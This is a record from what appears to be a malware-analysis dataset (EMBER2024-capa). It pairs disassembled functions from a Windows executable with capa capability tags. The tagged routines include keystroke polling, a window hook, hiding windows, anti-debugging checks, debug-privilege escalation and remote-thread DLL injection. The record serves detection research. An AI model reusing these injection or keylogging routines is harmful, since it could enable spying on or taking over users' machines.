joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44b10c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4b46e4]
cmp byte [eax + 0xc], 0
je 0x44b279
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44b272
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4b5bec], 0
jne 0x44b160
push 0x44b280
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x44b288
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5bec], eax
cmp dword [0x4b2c48], 0
jne 0x44b25b
push 0x44b298
call sub.kernel32.dll_LoadLibraryA
mov dword [0x4b2c48], eax
cmp dword [0x4b2c48], 0
je 0x44b25b
push 0x44b2a4
mov eax, dword [0x4b2c48]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5bf0], eax
push 0x44b2b4
mov eax, dword [0x4b2c48]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5bf4], eax
push 0x44b2c8
mov eax, dword [0x4b2c48]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5bf8], eax
push 0x44b2e0
mov eax, dword [0x4b2c48]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5bfc], eax
push 0x44b2f8
mov eax, dword [0x4b2c48]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5c00], eax
push 0x44b30c
mov eax, dword [0x4b2c48]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5c04], eax
push 0x44b324
mov eax, dword [0x4b2c48]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5c08], eax
push 0x44b33c
mov eax, dword [0x4b2c48]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5c0c], eax
push 0x44b358
mov eax, dword [0x4b2c48]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5c10], eax
push 0x44b364
mov eax, dword [0x4b2c48]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b5c14], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b279
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x44f018
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404740
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x44f067
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.004049b8
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x456ff4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x457044]
test si, 4
je 0x457008
or bl, 1
test si, 8
je 0x457012
or bl, 4
test si, 1
je 0x45701c
or bl, 8
test si, 2
je 0x457026
or bl, 0x10
test si, 0x10
je 0x457030
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45703f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x457048
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x457080]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x457061
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x457070
or bl, 4
test esi, 0x20000000
je 0x45707b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x45d69c
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45d6ae
add esp, 0xfffffff0
call fcn.00403bb4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004258e0
mov eax, dword [0x4b40d4]
mov dword [eax + 4], ebx
mov dword [eax], 0x45da40
mov eax, dword [0x4b40ec]
mov dword [eax + 4], ebx
mov dword [eax], 0x45da4c
mov eax, ebx
call fcn.0045da58
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41ab64]
call fcn.00403820
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41ab64]
call fcn.00403820
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41ab64]
call fcn.00403820
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41ab64]
call fcn.00403820
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41ab64]
call fcn.00403820
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x459f20
push eax
push 0
push 0
mov eax, dword [0x4b434c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x4272a8]
call fcn.004289bc
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x4272a8]
call fcn.004289bc
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x4272a8]
call fcn.004289bc
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0045de78
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45dd54
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45dd54
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45dd54
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45d7eb
call fcn.00403c0c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45db38
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45dce3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45dcc4
mov dl, 1
mov eax, dword [0x41b1c8]
call fcn.00403820
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404740
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45dcb3
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044b46c
test al, al
je 0x45dca6
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45dcf4
lea eax, [ebp - 0x254]
call fcn.00409e3c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45dca6
xor eax, eax
push ebp
push 0x45dc9f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45dd2c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45dc88
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004049b8
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45dc88
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004049b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45dca6
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45dba9
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041f7d8
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45dcea
lea eax, [ebp - 0x260]
call fcn.00404740
ret

Function at 0x45e618
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4b5c30]
cmp byte [eax + 0xa5], 0
jne 0x45e689
cmp dword [0x4b5c48], 0
jne 0x45e64a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45e5d4
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4b5c48], eax
cmp dword [0x4b5c44], 0
jne 0x45e665
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4b5c44], eax
cmp dword [0x4b5c4c], 0
jne 0x45e689
push esp
push 0
push 0
push 0x45e578
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x4b5c4c], eax
pop edx
ret
Function at 0x45e780
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45e797
add esp, 0xfffffff0
call fcn.00403bb4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004258e0
mov eax, dword [0x4b4330]
cmp word [eax + 2], 0
jne 0x45e7bf
mov eax, dword [0x4b4330]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045fdcc
mov eax, dword [0x4b447c]
cmp word [eax + 2], 0
jne 0x45e7d9
mov eax, dword [0x4b447c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045ffc4
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41ab64]
call fcn.00403820
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41ab64]
call fcn.00403820
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x427d28]
call fcn.0042f0a8
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45e960
mov eax, dword [0x4b4194]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042f478
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x460544
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4b4194]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040ddac
test eax, eax
je 0x45e8ce
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00409784
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040ddd4
test eax, eax
je 0x45e8e2
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004049b8
mov eax, dword [0x4b3f60]
cmp byte [eax], 0
jne 0x45e916
mov eax, ebx
call fcn.0045ea88
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00460720
mov eax, ebx
call fcn.004610d0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45e956
call fcn.00403c0c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45ecfc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4b5c30]
cmp dword [eax + 0x30], 0
je 0x45eda6
cmp dword [ebx + 0x94], 0
jne 0x45eda0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45ec8c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45eda0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45ed66
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45eda0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041d45c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45ed75
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45f884
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45f8b9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404830
jmp 0x45f8c6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404794
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4608fc
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x46093d
mov eax, esi
call fcn.00446bec
test al, al
je 0x46093d
mov eax, dword [ebx + 0x84]
call fcn.004468e8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x46093d
push 0
mov eax, dword [ebx + 0x84]
call fcn.004468e8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x47d604
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 2
jne 0x47d629
cmp dword [esp + 4], 5
jb 0x47d629
mov al, 1
jmp 0x47d62b
xor eax, eax
add esp, 0x94
ret
Function at 0x48ecbc
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0048ea38
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00404c00
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x48ed1a
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4b4358]
mov dl, 1
mov eax, dword [0x48e95c]
call fcn.0040d1a4
call fcn.004040e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4950c8
Capabilities:
Link many functions at runtime

Disassembly:
mov byte [0x4b37b8], 0
mov eax, dword [0x4b46d8]
cmp dword [eax], 2
jne 0x4952a1
mov eax, dword [0x4b419c]
cmp dword [eax], 5
jl 0x4952a1
call fcn.00492264
test al, al
jne 0x4950f9
call fcn.00492270
call fcn.0049225c
mov dword [0x4b37c0], eax
push 0x4952a4
mov eax, dword [0x4b37c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b3784], eax
cmp dword [0x4b3784], 0
jne 0x495154
mov edx, 0x8000
mov eax, 0x4952b8
call fcn.0040ee58
mov dword [0x4b37bc], eax
mov eax, dword [0x4b37bc]
mov dword [0x4b37c0], eax
push 0x4952a4
mov eax, dword [0x4b37c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b3784], eax
cmp dword [0x4b3784], 0
je 0x49529c
push 0x4952c4
mov eax, dword [0x4b37c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b3788], eax
cmp dword [0x4b3788], 0
je 0x49529c
push 0x4952d0
mov eax, dword [0x4b37c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b378c], eax
cmp dword [0x4b378c], 0
je 0x49529c
mov byte [0x4b37b8], 1
push 0x4952e0
mov eax, dword [0x4b37c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b3790], eax
push 0x4952ec
mov eax, dword [0x4b37c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b3794], eax
push 0x4952f8
mov eax, dword [0x4b37c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b3798], eax
push 0x495308
mov eax, dword [0x4b37c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b379c], eax
push 0x495318
mov eax, dword [0x4b37c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b37a0], eax
mov edx, 0x8000
mov eax, 0x495330
call fcn.0040ee58
mov dword [0x4b37c4], eax
cmp dword [0x4b37c4], 0
je 0x4952a1
push 0x495340
mov eax, dword [0x4b37c4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b37a4], eax
push 0x49535c
mov eax, dword [0x4b37c4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b37a8], eax
push 0x49537c
mov eax, dword [0x4b37c4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b37ac], eax
push 0x495398
mov eax, dword [0x4b37c4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b37b0], eax
push 0x4953b0
mov eax, dword [0x4b37c4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4b37b4], eax
ret
call fcn.00495048
ret
Function at 0x4a08fc
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
mov ebx, ecx
xor eax, eax
push ebp
push 0x4a0b15
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax], 5
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dl, byte [ebp + 0x10]
mov byte [eax + 1], dl
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax + 2], 0
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004909d4
mov eax, dword [ebp - 8]
call fcn.00404a08
test eax, eax
jle 0x4a09d4
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax + 3], 4
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax + 4], 0x10
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov edx, ebx
mov eax, dword [0x49e164]
call fcn.0049e268
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4a09c2
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x4a09ac
push 4
push 0x10
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0049e204
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
xor edx, edx
call fcn.004903b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a09c9
lea eax, [ebp - 4]
call fcn.0040ed8c
ret
mov eax, dword [0x4b45dc]
mov eax, dword [eax]
mov edx, ebx
call fcn.004982c0
test al, al
je 0x4a0a56
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax + 3], 1
mov edx, ebx
mov eax, dword [0x49e164]
call fcn.0049e268
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4a0a44
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x4a0a2e
push 4
push 4
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.0049e204
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
xor edx, edx
call fcn.004903b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a0a4b
lea eax, [ebp - 4]
call fcn.0040ed8c
ret
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax + 3], 3
mov eax, ebx
call fcn.00404a08
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
mov byte [edx + 4], al
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov eax, ebx
call fcn.00404a08
test eax, eax
jle 0x4a0aa9
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
mov eax, ebx
call fcn.00404a08
push eax
lea ecx, [ebp - 0x14]
mov dl, 1
mov eax, ebx
call fcn.0049134c
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
xor edx, edx
call fcn.004903b0
mov eax, ebx
call fcn.00404a08
mov edx, dword [ebp + 8]
add dword [edx], eax
mov eax, dword [0x4b45dc]
mov eax, dword [eax]
mov dx, word [ebp + 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x30]
mov ebx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
push 2
lea edx, [ebp - 0x18]
mov eax, ebx
call fcn.0049150c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
xor edx, edx
call fcn.004903b0
mov eax, dword [ebp + 8]
add dword [eax], 2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a0b1c
lea eax, [ebp - 0x18]
mov edx, dword [0x48fd78]
mov ecx, 4
call fcn.00405344
lea eax, [ebp - 8]
call fcn.00404740
ret
Function at 0x4afe8c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x230], edx
mov dword [ebp - 0x234], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4b0068
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x4b7768]
mov eax, ebx
call fcn.004b0360
test al, al
jne 0x4afeea
push 5
mov eax, dword [0x4b7768]
call fcn.00404c00
push eax
call sub.kernel32.dll_WinExec
cmp dword [0x4b7754], 1
jne 0x4b004a
lea edx, [ebp - 0x234]
mov eax, dword [0x4b4444]
mov eax, dword [eax]
call fcn.004602a4
mov eax, dword [ebp - 0x234]
lea edx, [ebp - 0x230]
call fcn.004095b4
lea eax, [ebp - 0x230]
mov edx, 0x4b0080
call fcn.00404a10
mov eax, dword [ebp - 0x230]
call fcn.004093f4
test al, al
je 0x4b004a
mov byte [ebp - 5], 0
mov edx, 0x4b0098
mov eax, ebx
call fcn.004b0544
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4affcf
mov edx, dword [ebp - 4]
mov eax, 8
call fcn.0048f008
mov esi, eax
mov dword [ebp - 0x22c], 0x224
lea edx, [ebp - 0x22c]
mov eax, esi
call fcn.0048f068
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4affc5
lea eax, [ebp - 0x238]
lea edx, [ebp - 0x20c]
mov ecx, pe_nt_image_headers32
call fcn.004049b8
mov eax, dword [ebp - 0x238]
mov edx, 0x4b0080
call fcn.00404b4c
jne 0x4affb2
mov byte [ebp - 5], 1
jmp 0x4affc9
lea edx, [ebp - 0x22c]
mov eax, esi
call fcn.0048f088
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4aff84
push esi
call sub.kernel32.dll_CloseHandle_1
cmp byte [ebp - 5], 0
jne 0x4b004a
lea edx, [ebp - 0x240]
mov eax, dword [0x4b4444]
mov eax, dword [eax]
call fcn.004602a4
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x23c]
call fcn.004095b4
lea eax, [ebp - 0x23c]
mov edx, 0x4b0080
call fcn.00404a10
mov edx, dword [ebp - 0x23c]
mov ecx, dword [ebp - 4]
mov eax, ebx
call fcn.004b06b4
test al, al
je 0x4b0034
mov eax, dword [ebx + 0x2f4]
mov eax, dword [eax + 0x220]
mov edx, 0x4b00b0
mov ecx, dword [eax]
call dword [ecx + 0x38]
jmp 0x4b004a
mov eax, dword [ebx + 0x2f4]
mov eax, dword [eax + 0x220]
mov edx, 0x4b00c8
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b006f
lea eax, [ebp - 0x240]
mov edx, 5
call fcn.00404764
ret

Function at 0x4b04d0
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe8
xor ebx, ebx
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
lea eax, [esp + 0xc]
push eax
push 0x4b0530
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
je 0x4b0529
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
lea eax, [esp + 4]
push eax
push 0
push 0x10
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
cmp eax, 1
sbb ebx, ebx
inc ebx
mov eax, ebx
add esp, 0x18
pop ebx
ret
Function at 0x4b06b4
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov byte [ebp - 1], 0
mov eax, ebx
call fcn.004b04d0
test al, al
je 0x4b07b2
push edi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x4b07ab
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, esi
call fcn.00404a08
add eax, eax
inc eax
call fcn.00402808
mov ebx, eax
mov eax, esi
call fcn.00404a08
mov ecx, eax
add ecx, ecx
inc ecx
mov edx, ebx
mov eax, esi
call fcn.0040567c
push ebx
call sub.kernel32.dll_lstrlenW
inc eax
mov esi, eax
add esi, esi
push 4
push 0x1000
push esi
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
test edi, edi
je 0x4b0794
lea eax, [ebp - 0xc]
push eax
push esi
push ebx
push edi
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4b0794
cmp esi, dword [ebp - 0xc]
jne 0x4b0794
xor eax, eax
mov dword [ebp - 0x10], eax
push 0x4b07bc
push 0x4b07cc
call sub.kernel32.dll_LoadLibraryA
push eax
call sub.kernel32.dll_GetProcAddress_1
lea edx, [ebp - 0x10]
push edx
push 0
push edi
push eax
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
je 0x4b078e
mov byte [ebp - 1], 1
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b07b2
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret